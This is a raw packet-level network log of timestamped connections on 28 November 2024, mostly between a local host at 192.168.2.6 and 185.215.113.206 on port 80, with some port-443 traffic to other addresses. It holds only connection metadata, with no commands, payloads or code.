Nov 28, 2024 00:19:46.502815962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.502990961 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.503535986 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.503547907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.504209995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.504313946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.504370928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.504445076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.504481077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.505142927 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.505193949 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.505244970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.505285025 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.505966902 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.506017923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.506105900 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.506146908 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.506793976 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.506855965 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.506901979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.507110119 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.507642984 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.507776022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.507831097 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.508452892 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.508507013 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.508553028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.508596897 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.509277105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.509326935 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.509387970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.509430885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.510121107 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.510175943 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.510229111 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.510400057 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.510937929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.510983944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.511038065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.511151075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.511756897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.511805058 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.511846066 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.511887074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.512583017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.512633085 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.512705088 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.512881994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.513432980 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.513490915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.513535023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.513619900 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.514235973 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.514290094 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.514291048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.514374971 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.515064955 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.515141010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.515170097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.515266895 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.515887022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.515937090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.515939951 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.516161919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.516738892 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.516791105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.516854048 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.516949892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.517537117 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.517587900 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.517643929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.517683983 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.518378973 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.518434048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.518516064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.518623114 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.519193888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.519246101 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.519351959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.519392014 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.520046949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.520157099 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.520164013 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.520200014 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.520951033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.521004915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.521019936 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.521080971 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.521092892 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.521100998 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.521141052 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.521634102 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.521691084 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.527554035 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.527627945 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.527802944 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.527813911 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.528177023 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.531932116 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.536225080 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.536281109 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.536293030 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.540560007 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.540612936 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.540626049 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.545082092 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.545152903 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.545161009 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.551402092 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.551477909 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.551486969 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.551493883 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.551542997 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.555582047 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.560903072 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.560961962 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.560971022 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.561254978 CET	443	49861	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.561336994 CET	443	49861	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.561395884 CET	49861	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:46.561832905 CET	49861	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:46.561850071 CET	443	49861	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.561985016 CET	49861	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:46.561990976 CET	443	49861	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.564937115 CET	49874	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:46.564968109 CET	443	49874	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.565152884 CET	49874	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:46.565320015 CET	49874	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:46.565335989 CET	443	49874	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.566075087 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.566196918 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.566210985 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.566217899 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.566257000 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.570869923 CET	443	49867	23.209.72.37	192.168.2.6
Nov 28, 2024 00:19:46.571140051 CET	49867	443	192.168.2.6	23.209.72.37
Nov 28, 2024 00:19:46.571166992 CET	443	49867	23.209.72.37	192.168.2.6
Nov 28, 2024 00:19:46.571518898 CET	443	49867	23.209.72.37	192.168.2.6
Nov 28, 2024 00:19:46.573915958 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.574453115 CET	49867	443	192.168.2.6	23.209.72.37
Nov 28, 2024 00:19:46.574520111 CET	443	49867	23.209.72.37	192.168.2.6
Nov 28, 2024 00:19:46.577481031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.577564001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.577631950 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.577868938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.577940941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.577980042 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.577991962 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.578696966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.578769922 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.578808069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.578849077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.579524040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.579576015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.579579115 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.579796076 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.580322981 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.580375910 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.580431938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.580554962 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.581151962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.581212997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.581259012 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.581305027 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.581326962 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.581384897 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.581393957 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.582003117 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.582101107 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.582173109 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.582827091 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.582941055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.583012104 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.583647013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.583702087 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.583734035 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.583771944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.584467888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.584583998 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.584635973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.585295916 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.585355997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.585421085 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.585480928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.586133957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.586189032 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.586291075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.586344004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.586982012 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.587028027 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.587035894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.587270975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.587812901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.587960005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.588018894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.588620901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.588680983 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.588793039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.589057922 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.589442015 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.589488029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.589524984 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.589725971 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.590259075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.590316057 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.590325117 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.590377092 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.591120958 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.591182947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.591321945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.591367006 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.591919899 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.591970921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.592035055 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.592760086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.592850924 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.592865944 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.592937946 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.593578100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.593678951 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.593723059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.594428062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.594482899 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.594517946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.594731092 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.595202923 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.595249891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.595304966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.595391989 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.596043110 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.596102953 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.596198082 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.596263885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.596885920 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.596965075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.597011089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.597695112 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.597800016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.597858906 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.598567009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.598617077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.598649025 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.598695993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.602336884 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.602395058 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.602404118 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.604012966 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.604072094 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.604078054 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.606966972 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.607085943 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.607151031 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.607158899 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.607253075 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.614440918 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.616662979 CET	443	49868	23.209.72.37	192.168.2.6
Nov 28, 2024 00:19:46.616905928 CET	49868	443	192.168.2.6	23.209.72.37
Nov 28, 2024 00:19:46.616923094 CET	443	49868	23.209.72.37	192.168.2.6
Nov 28, 2024 00:19:46.618392944 CET	443	49868	23.209.72.37	192.168.2.6
Nov 28, 2024 00:19:46.618453026 CET	49868	443	192.168.2.6	23.209.72.37
Nov 28, 2024 00:19:46.618812084 CET	49868	443	192.168.2.6	23.209.72.37
Nov 28, 2024 00:19:46.618901014 CET	443	49868	23.209.72.37	192.168.2.6
Nov 28, 2024 00:19:46.619255066 CET	443	49863	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.619756937 CET	49863	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:46.619770050 CET	443	49863	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.620206118 CET	49863	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:46.620209932 CET	443	49863	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.626296997 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.626373053 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.626388073 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.638295889 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.638338089 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.638361931 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.638385057 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.638457060 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.650055885 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.651323080 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.651463985 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.651472092 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.651489973 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.651550055 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.653872967 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.655900002 CET	49867	443	192.168.2.6	23.209.72.37
Nov 28, 2024 00:19:46.663197041 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.663326025 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.663407087 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.663415909 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.663537025 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.687005043 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.687728882 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.687794924 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.687808037 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.690315962 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.690438032 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.690444946 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.692418098 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.692471027 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.692477942 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.694878101 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.695602894 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.695867062 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.695884943 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.711199045 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.711245060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.711319923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.711319923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.711533070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.711600065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.711643934 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.712152958 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.712205887 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.712241888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.712291956 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.712940931 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.712996006 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.713035107 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.713083982 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.713797092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.713855028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.713911057 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.714016914 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.714658976 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.714711905 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.714735985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.714900017 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.715481043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.715533018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.715614080 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.715697050 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.716248989 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.716310024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.716348886 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.716449976 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.717067003 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.717112064 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.717113018 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.717181921 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.717924118 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.717995882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.718000889 CET	49794	80	192.168.2.6	185.215.113.206
